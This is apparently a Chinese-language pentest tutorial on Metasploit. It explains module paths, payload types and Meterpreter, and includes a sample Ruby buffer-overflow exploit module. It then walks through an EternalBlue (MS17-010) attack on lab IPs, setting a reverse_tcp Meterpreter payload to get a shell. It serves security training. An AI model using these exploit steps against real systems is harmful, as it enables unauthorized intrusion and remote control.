内网安全系列-002-MSF实战攻击

MSF实战攻击

漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。exploit漏洞利用模块路径:

kali默认路径:/usr/share/metasploit-framework/modules/exploits

image-20240903000804028

msf6安装的路径:/opt/metasploit-framework/embedded/framework/modules/exploits

这里面有针对不同平台的 exploit 。

我们进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用

image-20240903000915478

我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞

利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

image-20240903001000802

MSF中加载自定义的exploit模块

1
2
3
4
下载一个rb文件的exploit文件
拷贝到framework/modules/exploits中
msf中执行reload_all 重新加载模块
注意:上述过程在MSF6中操作。

仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(base) kali@kali:/usr/share/metasploit-framework/modules/exploits$ pwd
/usr/share/metasploit-framework/modules/exploits
(base) kali@kali:/usr/share/metasploit-framework/modules/exploits$ cat 0day.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'security test',
'Description' => %q{
This module exploits a buffer overflow.
},
'Author' => 'fwd',
'License' => MSF_LICENSE,
'Privileged' => true,
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x7c809f83 } ],
]))
end

def exploit
connect
attack_buf = 'a'*200
attack_buf += [target.ret].pack('V')
attack_buf += payload.encoded
sock.put(attack_buf)
handler
disconnect
end
end
(base) kali@kali:/usr/share/metasploit-framework/modules/exploits$

在msf提示符下输入reload_all重新加载所有模块:

image-20240903001821042

攻击载荷(payload)

payload模块路径:

kali默认路径:/usr/share/metasploit-framework/modules/payloads

msf6安装路径:/opt/metasploit-framework/embedded/framework/modules/payloads

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。

Metasploit中的 Payload 模块主要有以下三种类型:

image-20240903002020468

  • Single
  • Stager
  • Stage

Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样的非metasploit处理工具所捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

1
2
3
4
5
Single Payload的格式为: <target>/ <single>
例如:windows/powershell_bind_tcp

Stager/Stage Payload的格式为: <target>/ <stage> / <stager>
例如:windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

  • 在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload;
  • 而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成。

Stager中几种常见的payload:

1
2
3
4
5
6
7
8
9
windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接,常用
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接
正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口。

反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机可以主动连接到我们的主机。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

image-20240903003008552

Meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

Meterpreter完全驻留在内存,没有写入到磁盘Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程默认情况下, Meterpreter的通信是加密的,所以很安全扩展性,许多新的特征模块可以被加载。

我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了 meterpreter之后我们就可以干很多事。

MS17_010(永恒之蓝)

我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是危害全球的勒索病毒利用的永恒之蓝漏洞。

kali控制台输入:msfconsole 进入metasploit框架

寻找MS17_010模块: search ms17_010

image-20240903082841053

Auxiliary辅助探测模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

输入命令:use auxiliary/scanner/smb/smb_ms17_010

查看这个模块需要配置的信息:show options

image-20240903082957439

RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

输入:set RHOSTS 192.168.0.103 192.168.0.102

或者192.168.0.102-192.168.0.103

或者192.168.0.1/24

image-20240903083152865

输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这里有1个主机存在漏洞

image-20240903083309992

Exploit漏洞利用模块

然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块:

1
use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息:info

image-20240903085551369

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:

1
show targets

image-20240903085612618

这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

Payload攻击载荷模块

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

查看攻击载荷:show payloads

image-20240903085945371

该命令可以查看当前漏洞利用模块下可用的所有Payload

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

查看模块需要配置的参数: show options

image-20240903090108048

设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.0.103

设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.0.104

如果我们这里不设置lport的话,默认是4444端口监听

image-20240903090402272

image-20240903090555055

攻击: exploit

image-20240903090719432

知识回顾

MSF有6个模块

1
2
3
4
5
6
7
8
auxiliary #负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

exploits #利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

payloads #成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。

nops #提高payload稳定性及维持大小。
post #后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作

Kali中更新MSF

1
2
apt update
apt install metasploit-framework

kali加载自定义模块

1
2
3
4
下载一个rb文件的exploit文件
拷贝到framework/modules/exploits中
msf中执行reload_all 重新加载模块
注意:上述过程在MSF6中操作。